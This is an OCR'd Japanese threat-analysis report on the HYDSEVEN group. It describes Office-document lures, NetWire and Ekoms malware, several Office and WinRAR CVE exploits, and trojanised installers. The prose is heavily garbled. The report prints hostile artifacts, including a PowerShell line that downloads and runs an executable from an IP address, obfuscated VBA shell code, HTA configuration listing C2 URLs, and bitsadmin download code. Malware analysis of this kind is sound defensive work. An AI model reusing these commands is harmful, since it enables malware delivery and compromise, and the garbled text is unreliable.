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SRENEIBREIDBVTIN, BARDR-5> ReSVERL BETEEZITOTVBSIENMDIMOTVF
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® Confirmation_letter_ACM.docx
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WE . VBATSA
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2016 l 2017 l
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ﬁ%ﬁ FRy/_—(#DOWebE—F 4 2T VT )
G RRET T4 v

IIllIIIIlIllllIllllllllllllllllllllllllllll\FEB = MAR

2018 2019
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HYDSEVEN (&, Office XEJ741 UTIBHIAAZ VBA XH0. VINIT 7 DOREISEOER.
ZUT IERRVIRNIIT DA VA R—5D1BFEE VD2 3 DOEFOTREBEEZTELEY .,
DETIE, INBIOVTEBNUED .

Office X&IJ7M1)I D VBA X/O0ZEBAISFO

VBA X/0%BRULINE(L. 2016 £ 8 ABLUE 12 BICHEFZLTHD. X 2 (. INS5DEFER
([ATHNIEIREDHRINZRRUIZEDTY . 2016 £F 8 BOWE THEAENT Office XEI71 L.
3 (RF &5 London School of Economics and Political Science (LSE) &DHZERN
FeF7STEREE (UAE) RITOORRMRZREIBDTY, Office XEIF/I 2R THE.
EEBC"EFIVTADEET " DAYE—J N 2HFRRENTHED, VBA VR ED 2 FEEE LD7
TAIIDTIINEFN TV EN R TEFT
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®>t —JLAMURLA

l 549>0—REE

[FHREI 71
@¥2o70%=T
%
PowerShell \
@Fo>0—k D
BILUSET é‘)
i —
NetWi .
Netiire g‘ e
Ekoms Q

@C2iEE

—
@h

=

c2H5—)\

2 VBAT/NZEEATAIREFOOMER

2 https://support.office.com/en-us/article/active-content-types-in-your-files-b7ff2e8a-4055-47d4-8c7d-541e19f62bea
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o
Project #102 — UAE Bank Selection for Opening an Account-
Project Application Forms+
-
This form is processed automatically. Please use appropriate fields for your answers.+
o
o
U e3aur40BE  —BO7ITT T INERNICENEUL. ST RNRRENET. 2 FIYOEIE »
rl
— 2
el
Al
o
%, | &
V=R : o
[ : ¥
\ ’
- g - !
London School of Economics & Political Science « I «
Collaboration Proposal Form« o
N tl
. Collaboration proposals should be submitted any time « +

from June 1, 2016 through August 29, 2016.«

1. Whois filling out this form?« o
Name« RonnyBoesing#
Tittleq Mre
Phone number< +45 42 70 77 70¢
Email¢ ronny@ccedk.coms

2. Please selectthe areas of interestfor collaboration with LSE< o
Participation in webinars as an invited experte xe
Assistance for academic development programs« xe
Analysis of exchange rate changes and the impact of external factors« X maybe ¢ %
Economic experimentse xe

Technical consultings r

3 VBAYYDO%EAY3 Office XEI7 1D

4 (%, Office XEIJ7/)UICEFNE VBA ¥I0%2 —BMRZUIZEDTH, TRIFHRTRI LOIC
Shell B£CZFIFALT. X 5 (SR 574 PowerShell DY REEITUET . NITLD, C2 H—)Uh
5 NetWire £1z(& Ekoms (Mokes) H4w>0-Ran, Ef7enzxd,

3 https://docs.microsoft.com/ja-jp/office/vba/language/reference/user-interface-help/shell-function
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BzEXrHOWNEVGizzIOrBSWNFRSTQzHRiZLiiR - bIHtyugqwikdddd.eMDaHZLQWyx1
bJHtyuqwikdddd . eMDaHZLQWyx2 + bIHtyugwikdddd.eMDaHZLQWyx3 bJHtyugqwikdddd.
eMDaHZLQWyx4 + bIHtyugwikdddd.eMDaHZLQWyx5 + jHHBIVUYSFTYSuvbhjawyuFUGIBKIN

bJHtyuqwikdddd .eMDaHZLQWyx6 + bJHtyuqwikdddd.eMDaHZLQWyx7

dHGIsadc(44) = “v"
TLUDVeaFBaBFel GKZCZIOQFNaPOWLISWIXUr — BzEXrHOWNEVGizzIOrBSWNFRSTQzHRiZLiiR

15)

Shell TLUDVeaFBaBFelGKZCZIOQFMaPOWLISWIXUr
End Sub

4 Office XEI7MIICEFNS VBA ¥/0 (—Hik#L)

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('
http://37.235.48_233/imgl .png" , "%TEMPX%\g32dc.exe") ;Start-Process '

XTEMPXE\g32dc.exe’

5 VBA Y70 &HTRITENS PowerShell AV KMl

Ffz. VBA X70OAIC(E B 6 TRY L/ AT— RADT A LR FHNZ/ERK I 245882 1—
RAESENTVET . COI-R(E. 2011 & 11 AIC Web JOJ3ZJ0ORMREIA-S L
(DreamInCode.net) T2 I-FHIAE (K 7) 2nTHH. WEHEFZOAFHEINI-
N (RN STANE & R

4 https://www.dreamincode.net/forums/topic/257344-snippet-my-random-password-generator/
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Friend Functi

Dim X

String, b
Dim oiuytfcx
luytgfffff

16 Replies - 9789

chuckjessup

SAN-IE>I-LKR-h

on hgfdccc(dfVIBsad Integer)

Integer, tehkj 51 g, i (31)
String
Long

. (SNIPPET) - My Random Password Generator
Posted 27 November 2011 - 03:42 AM

D.1.C Regular

Reputation: 34

the cita

The following code and download is my random password generator, I am releasing it as open software... Please keep

tion in the class if you use it else where...

Option Explicit
"Password Generation and recovery protocol, for FDF Databases®
"(c) 2011 FDF Holdings corp’

‘written by Jesse Fender, all rights reserved’

"To be used by FDF Software only!

Data Password Generator and Recovery, Recovery may not work at
first but will be implemented later on in Time...

Friend Function GenerateTempPassword(PWlLength As Integer) As String

= The purpose to this function is to be =
= called by an application or installer to set='
= the users password. Theis will reguire a ="
= reset of the temp password when used. =

Dim X As Integer, I As Integer, Letters(51) As String, Symbols(31) As String, Numbers(8) As
String

Dim Worker As String, Complete As Boolean, Count As Long, T As Long

Complete = False

"hard set the arrays, yes i know its bad practice but i dont care...’

Numbers(@) = "5"

7 Web B4 MRS )/(2AD— RERI— R

08

Its a simple code really, set up a string, set the number of return char.’s and then call the class... it will give you a pretty
complex string back...
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YINOI7 DHfess BRI S5FO

VINII7 DiESE BRI INE(L. 2017 4 2 HLFE 9 A, 2019 £ 3 AICHESELTLET,
[ 8 (&, ZEFEAATONIERZORNZEIRUIZEDTHD ., ENETNRHACLOTERRDYINIITD

eSS N BAETNTVETD,

@“ 2017428 201749H 2019438
"c ®A—JLADURLA "c @A—JLADURLY

@A—JLAOURLH

54> 0—REE 589>0— & 54>0—RER
ERE T 71 BEFT 71 ERETZ I
@CVE-2017-0199
DOC | @cvE-2015-2545/ DO @CVE-2018-20250
< E CVE-2016-72550 < OiESETE R < @) ORBEEER
HessEEER \
SRR 1 HTA o) l ma
1\____
NetWire EX }b a . 0;1—;
B DLL / Cc2H— )(

Bis @ ® —
T 1@c2;§1= / S s O / c2H—/¢
©)

— 5=
NetWire @
& - NetWire E
®C2iEE c2H5—)% @ ¢

c2t—)\ @ @ GRIT> . .
O— RBIURA ®C2EE  cap—)(

[P
2y

8 Messttz BRI IREFOADOMER

(1)2017 ££ 2 RDEHY

COBFEADINZEE(F, CVE-2015-2545°BLU0 CVE-2016-7255°DRE55 M2 E AL T, 1-HD
PC (C NetWire ZRRcEFI . FI. D 2 DOMHBHECOVWTRHEEICENLET.
CVE-2015-2545 DHfEs51% (. Microsoft Office (C$H1F3 EPS J7AILOEWDRWVCERL . ERED
J—REITHOIEERRIETY . £, CVE-2016-7255 DAfESSHEE. Microsoft Windows Dh—%
IVE—RRSA/U (win32k.sys) ([CHIFBAEIATS1IMOEIDIRWVCEERL . 1EFEFAZH o BER RS

®ETY,

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2545

6 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7255
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9 (3. IRE(fEREN T Office XET7MI THD. AZE(E. London School of Economics
and Political Science (LSE) h5® Banking Technology Awards AOSNIEFe]#8R260D' T
ER

ol of Economics & Political Science+
Houghton 5t, London WC2A 2AE, UK
o
Confirmation Letter+
o
Dear Sir,+
)
This letter confirms that your candidature was approved for participation in Banking
Technology Awards.+
Please inform Matteo Salvalaggio on 442035051983 or m.salvalaggio@lse.ac.uk if you need
additional information.+
o
Sincerely,+
London School of Economics & Political Science, Award Committee +
* o o o o o o o o o a a

B9 CVE-2015-2545 $&U' CVE-2016-7255 ZEMY3 Office XEIT7 1D

Z0 Office XEIr A% 7-ZIP XL TI7 (Ve MR 3 L. Tt CHEDzLS(C EPS 7L

(imgagel.eps) H'&3ZENDMDET (K10) o 2D EPS I7AIUC(E. 2 DDMEeEs 2 BRI S

J—RIEHIRT, "AO—-REL T, B 11 OFRERETRIEITI7 M) NetWire fEFNTVEFT . K12
(X, CVE-2016-7255 D551t zBAL. tERF18%21751—-RO—ETY,

7 Zofth. London School of Economics and Political Science (LSE) h50 AWC Awards AOSHIAHF 3L EERED
Office XEI71 IV BHERLTVET,
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|Fiz| 't:¥Cu::nﬁrmaticrn_letter:dncx!éward!a!media- e=ran X

I7ILF) E|EE) F|RNV) BRUCADA) Y—ILT) ~ILTH)
op = <7 wp wp ¥ i

EBm B FAR OF— #3 Bk 1EE

;i C:¥Confirmation_letterdoc¥word¥media¥
_ e:0] A EEavsX EHHE
__?nﬁagel.epsg 781 520 238 391 2017-02-28 13:43

10 Office XEI7MIAICEFNS EPS J71)LH1

6269
3435
6420

7473
206cC
6465

6869
3334
6620

3520

2064 6
203c
3030
3030
3030
3030
3030
3030
3030
3030
6364
3638
3732
3666

3030
6666
3030
3030
3030
3030
3030
3030
6234
3231
3666
3665

3030
3030
3030
3030
3030
3030
3030
3030
3039
3534
3637
3665

6674
3120
6578
6c33
7d 2872

3464
3034
6238
3430
3030
3030
3030
3030
3065
3231
3639
3631
3734

2064
3635
6974
3235
6570
65 202f
3561
3030
3030
3030
3030
3030
3030
3030
3166
6238
3733
3664
3230

3520
2069

3 206cC

6561
7061
3930
3030
3030
3030
3030
3030
3030
3030
6261
3031
3230
3230
3632

7420
796¢C
3030
3030
3030
3030
3030
3030
3030
3030
3065
3463
3730
3633
3635

3139
7d20
6761
3033
6666
3030
3030
3030
3030
3030
3830
3030
ELT
SIS
3631
3230

bitshift def /13
45 1341 65535 an
d def exit } if
| ?5 1325 8 119

[pavloa

L d5a900003
popeaeed4000000TT
ffoonebsoneenoane
0A0AAO400AOOAO00
Ll elals el la o le s ]
POOPOOROOBOOBOO6
AEAAOAAOAAAEAOAE
AEAAOAAOAAAAOBE
00006008el1Tbadedd
21b8614ccd
73207072

20626520

EPS J7MIVARICEFNS 32bit IRIED NetWire (—&Bik#E)
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DWORD _ stdcall sub 10001D8@(LPVOID lpThreadParameter)

HWND wv1; //
HWND

sub_1086801028
vl CreateWindo (e "MyMainkind e, 8, X, 8, @, @, @, 8, hInstance, 8);

vd;

(va)
dword_10080

De yWindow(

vl =
if

" if ( dword_1000853C )
:
LABEL 11:
sub_10001028( "ExploitThread end™);
result = @;

12 CVE-2016-7255 OlfasstzEAISI—R (—5Ebk%)

(2)2017 £ 9 AOEH

COBFHADINEE (L. CVE-2017-0199%DAE55 2 BALT. 1—HY®D PC ([C NetWire ZREZet
F9, CVE-2017-0199 MAfES5*(E. Microsoft OLE’(CH135 URL Moniker'®T®D HTA =40
QIBSEREAL., AROI— RETH AIEERRIETI,

13 (& WE(CERAENT Office XET7/ILTY . FRIOBEN I71/ I ZHVBRICERRENS
HOT. BOBEEFYUIENT —INEHSINLRICRREINDEO T, iR I 2RO T, ME551E
BRRCI-YISEFRREN2E@EE. BAFEEOHDT I XE TV TERL, N MXFHNFRRE
N360TUI. COT7/IUE MEENERIMCARUILEORON ., HIWNIEEET EDZIATHDE
REATY,

8 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0199
% Windows DEEOT IV —33> TF —9%BHEL, HARITIH ORI
10 427 Uk URL UY—2EMOISR—R> NCHERTE3LIICTBY—CREIRHtTZ COM AT Ik
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01050000«
02000000«
08000000«
5061636b61676500+
00000000«
00000000«
b73c0000+

Microsoft Waord ot

I COEBEL RO QIO EN TS, U DENETP DT - ST O EEEILETN
[ ALFORTE > |

[ @t | [ g | [ A |

E 13 CVE-2017-0199 2ERY % Office XEIT71ILDHI

CD Office XET7AIUE. RTF FEROTFAILTHD, IBHIAHATS 1IN ({/object F—T—NR)
HEFNTVET (K 14) . FREARADSIFSN"dO cf 11 e0 al bl 1a el”(3. iBHIAZFAT>1
JRh' OLE e THBERRUET . Fle, FRKEINRS FTOEME(E. <D OLE AT 1 MBI
U, —83B0—REFERULIZBDTY . SAEBHA ~hvS HTML 70U —23> (HTA J74)L) =457>0-
RIBZENDNDET,
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{\rtfl 1 ) 8 @ \ ¥ Arial;}
Arial CYR;}}
T\ Msftedit 5.21.13.1337;}

Word .Document .8}

1 1 4 POBE080800E000800000000008E0000000000000000000000000000000000000000
888000060000000000000600000600000080000000000000000000880000000000000000000000000000000000000000
888006060000000000000000800000000000000000000000000000006006000006000000000000000600000009492 ab0e
R B R e s A s
R B R e s A s
FEEFFFFFFFFFFEFEFFFFFFFFFFEFFRFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF )

Iy e

d@cf11e@albllae100000000000000000000020000d0c f11e0albl1ae10800000000000000000000
00000000003000300f = f F9000600000000000000000000000100000001000000000000000010000002000060010000
PBfeffffffO000OO0000000000F FFfFfffifffffffffffrfffffffffffffffffffffffffrffffff
FEFFFFFFFFFFFFFFFFrFFrrffrfrffffirrffef

R g o B e
AR ARNARRRRRA AR AR R AR AR NN RS AR AR AR ARA AR AR ARRARRRARARARRRRARRRANAARARRRRARRRRRARARR R RRRRARAT

t.p
1.6
9.4
c.t
7.2
d

T

@

=] L Oh pd
L im

Iy

RIS, A2 00— KRNIz HTA D7 VR TWEET . HTA J71)UE. B 15 (CRIIEN. VBScript
TESNTHED, I-REBkDTHZE. I-ROBEFPER. BHAREIFEN DI LCRMIEF
9., 20 VBScript 27T NZ. Microsoft Word Intruder (MWI) THERENZHD TS, MWI
(%. Microsoft Office &EROMESSH%ZBRT ST/ IV EZVERRBIEERY—ILFYRTHD, \DRILR—
L\"Objekt"(C&>TOS 7 TRFIN, 2013 FEENST72H -390 R TG "aNTLELE,
16 (. 729-9390ROTA-SLICIBEINE MWI BRFELAED—EFTI . B MWI (C
CVE-2017-0199 DRSSz BT 21— RIEAAFNIZOE. 2017 4 5 B(CARFEEN/—23
SHBTHBE. proofpoint 120 T 0O THRETNTVET,

1 https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-microsoft-word-intrud
er-revealed.pdf?la=en

12 https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-019
9-utilized-cobalt-group-target
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title»</title><script language="vbscript"”

xnf_exec_RunExe
xnf_exec_IntExt

xnf_exec_ RunDoc
xnf_exec_RunSct
xnf_exec_RunCMD
xnf_exec_SendxData

xnf_stat url “http://46.165.194.94 fwstat/"

xnf_exe_fname "~WRF{DE1EFDAF - EO57-483E-BCCC-C9173EDEDEAL} . tmp"
xnf_doc_fname "~WRF{DEL1EFDAF - EO57-483E-BCCC-C9173EDEDEA2} . doc”
xnf_any_fname "~WRF{DE1EFDAF - E®57-483E-BCCC-C9173EDEDEA3} . tmp”

xnf_exe url “http://46.165.194.94/img/firefoxfix.d11"™
xnf doc_url "http://46.165.194.94/img/decoy.doc™
xnt_any_url o

xnf_sct_url

xnf_cmd str

xnf_use_crypt :
xnf_crypt_key "de@cdcf8a7 7 HH{d841cefe"

xnf_data_sysinfo
xnf_data_avinfo
xnf_data_proclist

15 49>0-KR&hi HTA I74)v (—&BR%)

MICROSOFT WORD INTRUDER (MWI)

MWI - professional "means of delivery", the exploit pack on the basis of a number of the most
urgent one-day vulnerabilities in the products of Microsoft Office Word. Document generated MWI
may contain exploits with up to 4 at once:

1. CVE-2010-3333
2. CVE-2012-0158
3. CVE-2013-3906
4. CVE-2014-1761

And updates private exploits to clients

Executable .exe file may be contained in the body of the document itself, and extend the link to
the web-server. What distinguishes this exploit from all other solutions:

16 7Y9—-959YROIA-SLICBBENILES (—EBRI)
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BE. SOIOKETERINE HTA J71)l2 R TLKE, VBscript (&, [ 15 OFRRIRIRT C2
B4 V5 DLL J71)WE1—HICFRREE 2T IMAXETr1 )% bitsadmin IX> R3EFIBLTIV>
O—RU. EATIRENDONMDET (K 17) . Fe. SXTLIER. PC THIAITZVAIILAMRYI RO
53R EATHOTOCAREDIEHRN Base64 TI>I—RENT, K 15 OBFFFRIRT MWI/TRIL

(MWISTAT) NEESNFYT, & 18 (&, MWISTAT AX{E2NfzT—4% Base64 71— RUE
DT,

.5et objSh = CreateObject("WScript.Shell™)

.0bjSh.CurrentDirectory sFilePath

.0bjSh.Run "%comspec® fc bitsadmin /transfer cubextask /priority high " chr (34
myURL & chr(34) " " & chr(34) & mypath & chr(34) & " > zoutx.txt", @,

.S5et objF50 = CreateObject{"Scripting.FileSystemObject™)

.5et objTextFile - objF50.0penTextFile(sOutPath, 1)

UserName: winuser
Computeriame: WIN7X36
UserDomain: WIN7/x36

Version: 6.1.7681
SerialNumber:
WindowsDirectory: C:\Windows
CodeSet: 932

CountryCode: 81
OSLanguage: 1©41
CurrentTimeZone: 540
Locale: @411
DefaultProxy:

System Idle Process;

System;

SMSS.exe;

CSIrss.exe; :\Windows\system32\csrss.exe

wininit.exe; \Windows\system32\wininit.exe

CSrss.exe; \Windows\system32\csrss.exe

winlogon.exe; :\Windows\system32\winlogon.exe

services.exe; \Windows\system32\services.exe

lsass.exe; \Windows\system32\lsass.exe
[redacted]

18 MWI /IRIISEEEN1EHREESUEE (—ERi%)

3 https://docs.microsoft.com/ja-jp/windows-server/administration/windows-commands/bitsadmin

16


https://docs.microsoft.com/ja-jp/windows-server/administration/windows-commands/bitsadmin

SAN-IE>I-LKR-h

R&IC. AU>0-R&nfz DLL J71IUE. K 19 ([GRIELDIC. C2 H—)ChBFBIILIT 7=
>O0-RU. E79390>0-9TT. 20F>O0-FHH0>0-RIBYILIIT7(E. NetWire THDZ
EERHESBUEU. CODLL I7AIDOAVSFILIFAIVE(E DLLIZAIIVARATIVZAR—haN3I> N)—
%40, "DownloaderDLL.dII"THofeEEZANEFT (K 20)

char Startload()

memset(&v3, @
sub_63E@16FF

ileName, (i ;
end_recv_request( 4" "i pack &FileName);

rn result;

19 DLL I7/MICEFN35V>0—- ke

; Export Ordinals Table for DownloaderDLL.d11

3
word 63EBEB38  dw
aDownloaderdll1D db '

alllmain db "D11M

aStartload db "Start
align

_edata ends

20 DLL IJ7AIVNTIYAR—bENS DLL I7 1)

Flz. COETHEAINE C2 Y—/N(Z(F. Ekoms (Mokes) BENMMTHN, COEFv>_—
JEFERDINEFvR-THEAINTUVAIEEENHDDE T, B 21 (£, 2017 £ 9 ALAIC C2
PB—/)NEUTEREIN IP 7RLVAICEMIZRIVITTZZXYE ST UTZED T, )\ 154 NUTLSBODN,
Ekoms (Mokes) TY.

17

FIRliREES



SAN-IE>I-LKR-h

FIRliREES

T

D

46.165.194.94

S e e L
" \'\) e 5

5 (B P & &

f08d3083c1932022202128802b7ff306  796e62cc921af203c2dae93159f93f70

ef8e0f915db9f300cfbfcf56ad7dfdf6 0943806ceal1913227d2595dbcc2b94c0  786925ad4a4f91a98dd0950847 1ebddf
p— (0] — H
A ; A a
—_— ) — —
DownloaderDLL firefoxfix.dll NetWire iconpack.ico

17072002.hta Ekoms soundfix.exe CVE-2017-0199 whbuild_17072002.doc

B 21 2017 £ 9 AEAD C2 Y—NICEMEINDLT

(3)2019 £ 3 ADEH
CORFEANINEE (. CVE-2018-20250"0RES51E2BFAL T, 1—H0 PCI(Z VBScript J7 )Lz

ROvFLET . D%, VBScript 774 (CL>T. NetWire "9 >0—-RanZx9d,
CVE-2018-20250 DAEE5M%(F. unacev2.dl™(CHF3. Xt/ CAOIR(SERL T, /NA /-

BILH'EIEEREIETHD IREE (G RIEBIFAIZEBD/NRAICEREIBIENTETT.
22 (&, IREE(ERENIZ ACE 7— 14\ WIinRAR TRWZEDTHD, FREREDLSCRT— b

TYTITANAINDIEIT ) ZNNEEN TVBENER TEFT o

E B Scan_Letter_of_Approval.rar - YU w B ACE S, &84 68,207 J(+ b

JrTILE HAX H EE E il CRC32
O—7 7+ 2%

&C: O-7L 74 25

T4 Letter of Approval.pdf 52,154 47,008 Adobe Acrobat Docum...  2019/02/28 11:40 92B938CE

m E Scan_Letter_of_ApprovaI.r'r¥c:¥C:C:..¥AppData¥Roaming¥r\‘|icrosoft¥Windc>'.vs¥Star‘t Menu¥Programs¥Startup -|

I7AILE HAX B B3 EHOE CRC32
O—7L T A4
[E]winsrvHost.vbs 16,053 4,436 VBScript Seript 77 7). 2019/02/28 11:58  SEDB428C

22 COKeSS1EEERA TS ACE 7—h1)/\Dh&

14 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20250
15 ACE et 07— 11 T % fRR I BBUCIEFAZNB 51T 53U TaH0. WInRAR % Lhaplus REDT7 JLEHR- #8717 THIF

SNTVFY
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WInRAR ZFIFALT. 20O ACE Jr(I)VZfZE 3. [ 23 (R9 Council on Social Work
Education (CSWE) hSOiEIGBEIOHNEDXEI7A I HHEEUERERT LI NIC/ERKRENS
ERIBFIC, 29— NPy IAIAIC VBScript TP LA ROV ENE T, ZhICED. Windows #CBiF(C
Wscript (C&oT VBScript Z7/ILAETENE T,

CIOTNCTE OR SO0TAT WORK FRDCATION

Applying for Candidacy:

The program submits a Letter of Institutional Intent, the Candidacy Eligibility Fee, and a Candidacy
Eligibility Application form with supporting materials. The associate director of the Departiment of
Social Work Accreditation (DOSWA) works under the supervision of the director of the DOSWA to
review the submission. When the associate director approves the Letter of Institutional Intent and
Candidacy Eligibility Application, the program is asked to submit a Benchmark | document. The
associate director reviews the Benchmark | document and works with the program to make certain it
has fully addressed all of the requirements of the Benchmark . After approving the Benchmark [
document, the specialist recommends that the site visit coordinator of DOSWA arrange Comimissioner
Visit I. The date of Benchmark | approval determines the program’s agenda date (February, June, or
October).

23 CSWE #&E571MXE 71 (—EBik#E)
YERRENTZ VBScript 74 IUE. 3= 1 DLSRIN> Riaez R I 2Ry N TI, 0D VBScript /Ry

M. C2 H—)NeORI2a>x#EITORE. "Pr'ON>YRENUT. IBESNE C2 Y—)Ihb
NetWire #47>0—-RUET,
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%1 VBScript Ry MOBDEERTZI— K
88

VBScript 774 )LDHIBR

BEINZ URL M5T7/LDAT>0O— R, EiT

OS N=23> MG

TRV AERYINIT PR A DR OB ROAE
"VIPRE","Trend Micro","Panda Security","Norton Security",
"Malwarebytes", "Kaspersky Lab", "G DATA", "F-Secure",
"Emsisoft Anti-Malware", "DrWeb","COMODQO",

"BullGuard Ltd", "Bitdefender", "Avira", "AVG",

"AVAST Software", "AhnLab", "360"

D VBScript Ry Mg, BIBRENCEC, C2 H—/NEDPDERDIC Authorization AyAZERLE
9, X 24 OFRFHEOLSIC SetRequestHeader BEFIAALT. C2 H—)\NX{EITZ HTTP UY
TIAMC Authorization Av4%4350. GetResponseHeader B#zFIALT C2 H—/)IhB0
HTTP LAR>RICEENS Authorization AWAZEUSL TWBENHERR TEF T, Fo. FiRE0 2
DOREIE. Authorization AYHD/\SA—4E% Base64 I>1—RBLUFTI-RUET,

Function tmbbujaqdbuftgcn

Set yacjhaladnnu

CreateObject(

yacjhaladnnu.SetTimeouts 1
yacjhaladnnu.Open "GET", mylU

yacjhaladnnu.SetRequestHeader "Content-Ty
yacjhaladnnu.SetRequestHeader "Accept™, "

ldrMsg ttuhjyfynemswrdcmaw({ldrMsg, false)
yacjhaladnnu| SetRequestHeader "Authorization"”, ldrMsg

yacjhaladnnu. Send
tmbbujagdbuftgcn

dnojhxcxf

yacjhaladnnu|GetResponseHeader("Authorization™)}, false)
Set iwfxsupjisygutldqo lothing
End Function

24 C2 Y—)\ADYII A MEIET HRER
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25 (F. C2 B—/)(h5"av"dY> RE=0. VBScript Ry Mt C2 H—)AAIY> KSR ZEET
B0 HTTP UUIZ RS LU ARV AT . IRERENFEDFF(E. Authorization AYAD/ISX—4
8% Base64 71— RUIZBDTY . 71— RER(CEENS ID (3. BRiHHRBEB OB T THo, 1>
E1—4%. JOtX ID. 1-Y&%=2EHENE GIEUETY , 2. COREE(CDOVTIE, 2019 £
3 B® FireEye #t0J0J THIRE SN TVET,

GET / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded |D850000803f091 AV:Not found
Accept: *.*
Authorization: ISUQ6ODU\vrr-1DA\-zODBth B1LCBBVj pOb3Qme91me=l

User-Agent: Mozilla/5.9 (Windows NT 19.9; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
69.0.3497.32 Safari/537.36

Host: 185.162.131.92

HTTP/1.1 400 Bad request
Connection: close
Content-Type: texi/bim

Authorization:|b2sgb2s=| === 0k 0k

4900 Bad request

B 25 C2Y-—NAQUITIAMSIVPLARYA

16 https://www.fireeye.com/blog/threat-research/2019/03/winrar-zero-day-abused-in-multiple-campaigns.html
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IEMYINIIT DA AM-5%HBERISFO

USHBIZET D49 I (CEBIEFRRYINIT T DA D AN-5%1A% T ZINE(L, 2016 & 11 A.
2017 £ 10 A. 2019 & 2 BICHEA-THEZRLTVET . INSOIRETE. BAD1VAR=3¢U
T. Vast Conference M1 92 Web =—F1>4JYIrDU17 (WebMeeting) Ficl(&
StataCorp ttHRI 2TV INITIT (Stata) HNEBEHEINTVET, K26 (Z. chBEDA
S AN=FRFERAUREDFRNZERUIZEDTY,

@ 2016%11H @ 2017108
G 4 2019%2H &
@A —JLADURLD @A—JLROURLA
549>0—k 54>0—R

S zIP -
=G HBDOWeb=—7 >4
[ oSSy < @ YIOAYAP—5
amr Vo) RoASar-5
1 ROy TBEURT*

;/@79@1 E@

1 @ KOy TBLUREH

®%o>O0—k

‘/@-)791:2 E@

[ ]
= ®@F9> 00—k BLURT
= BIURF EsEA b / C2H—J%
YAk / T
i NetWire @)
NetWire Ft 3
I?kxc_;:ﬁs Ekoms f 1
f DC2EIS DC2BIE
c2y—)| XSBOITFAUE CoH—)( HSBOIFAINE

26 IERYINIIFDAYAM-S52BETIREFOOMER

(1)2016 £ 11 AHLUV 2019 A 2 ADEH!

CNBORFEAOIEE (L, U IBIRE T I4y> > ) #ERL T, BOFRET DY INIIT DA A b=5
ZATO-RERET , AR, IBINOKRFDIER Web B4 "MSEO1>ZAR-5%5D>0—
REtE3 URLN3FERED OS (Windows, MacOS, Linux) (U TEENTWVEI . HYDSEVEN
(& KFED Web Y-\ ZIREDEHEELTERAIILDIC, ABNDFTETEREL. U—/NEEEN
BRULBVWITAIVERBUREEZBNE S LABETE, 2019 F 2 HOSHITHEIELZ Windows

22



SAN-IE>I-LKR-h

FIRliREES

RIBOBOA> A% RAUKREZBNUET .. B8, 2016 F 11 BOE(COWTE. Exatel
#1h'2016 £ 12 AICBHESSREZLR—NTHRELTVEFET,

27 (& BOFET DY INIIT DA VA R—=SEIERD StataCorp fEH4RHI 285t DTV D
RNIT7DI—ROAZ>J5EBAEZERUILBD T . ADFET Y INIIVICE IERYINIITD
BREFTERS. "SAN] CONSULTING LTD"ELVOEHOBREZMIEENTOWBZENERTEE

ER
TUEILELDFS
ERECRETE
_ FIALBAIEE FTE [FAT
;e.Z/ ST EAIEREEN F A
Fr=db i i
; ElvrnEs 01 5f 80df c1di 2d el de b.. -
Ei%m ) [E|Ba7IdIR L sha256R5A -
Bl |SANJ GONSILTING LTD| [ B v PIAZL sha66
—Il- D%ﬁ% Symantec Glass 3 Extended ..
RS FIFTaT =) shEARS DR 19F2 A 128 %0000
ERI FIRTaT [=|EEARaDEE T 2020525138 15959
BEGT SANJ GOMSULTING LTD, Sh.. -
[I GN = SANJ GONSULTING LTD
0 = SANJ GONSULTING LTD
BB £ 7 Hitchin
. N SERTALNUMEER = 11231420
EREE FEFA-L TR, ALARY 25415 = Private Creganization
13614.1811602.1.1 = Hitchin
1361413160212 = Hertfordshire
1361413160213 = GE
T4 L BLOEE SRS . — |tSom|
ES BE = RETIEEY
= FINEEEE —icn "
2 LT AN BRI ETE [T
preine i g
RS
gﬁ%mﬁﬁ( ) [Ezurnss 12 80 0c 38 8d 6a Sc bd ef 2. .
2R [GtataCorp LLG EEEIR TR shalBERSA
FEF A F e — [ B PTUAL sha2f6
[z Symantec Class 3 SHA266 G.
R [2017F & A 20 B &09 [EESE W1E1A 108 %00:00
ERRADEE T 6H208 %5959
Al orp LLC, StataCorp -
BEAL CM = StataCorp LLG
0 = StataCorp LLC
FEEE FFA-) PR B{LA L = College Station
Symantec Time .. FI|FE-T=] 2W17FE %z'IL'IeSan

27 HEIMYINIIFOI—-RYAZOJFIREOHR(L: 5 /T IEM)

28 (&, IEARDFET DY IT NI 7 EABOFFRET DTV I NITT DA > A b= 5= RITRITVER SN
RI7ANOLEETY . WA DTANSIFIET S, "StataSE-64.exe” INERDHET DY I RITT
OIOTSLTY . BOAVAM=3IC IO TRMESNZARIOBEE DT (L7 MIZE. BRIOTLINIC

7 https://exatel.pl/paranoicy/
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(FFELRV, TRERBOEITI7ANACBEREOIER DLL 71l (Qt'851T3X° SSL 54T 3U1E)
WFIETBTENERR TEET . CORDOFRERROEITIFAIHNIDII7THD BOFRET DA
b—32FITUBRIC, EITENFTS

:¥Program Files (x86)¥Statals :¥Program Files (x86)¥5tatals
S-JSUE - HE - ;LT SAJZUICEN - HE -
ado £ | stata.html ado
docs |EStataSE.exe I docs
platforms [l StataSE-64.exe utilities
utilities || unins000.dat | ]auto.dta
| ]auto.dta i3/ unins000.exe || isstata.150
| ]isstata.150 £ | stata.html
%) libeay32.dll [l stataSE-64.exe

|| libgoc_s_seh-1.dll
|| libstdc++-6.4ll
|| libwinpthread-1.dll
|| QtSCore.dll

|| Qt5Gui.dll

|| QtSNetworlk.dll
|| QESSvg.dll

|| Qt5Widgets.dl|

|| ssleay32.dll

28 AYAM=SICELOTERRENIZTI7AV DR (E: B /A:IEM)

TNTIE. AROFET DA VA R=3IC O TIERR SNz StataSE.exe"ZR TWEF T, X 29 (TR
FL3C COEITIFAIE, IIVF TSV IA—ACHIEURIL—LT-ITHD Qt ZERAL TIERMS
nrAY>0-4979., RAEE. SEEOIEROFETIHYINITI7Z2RTUTOEIN . ERITE.
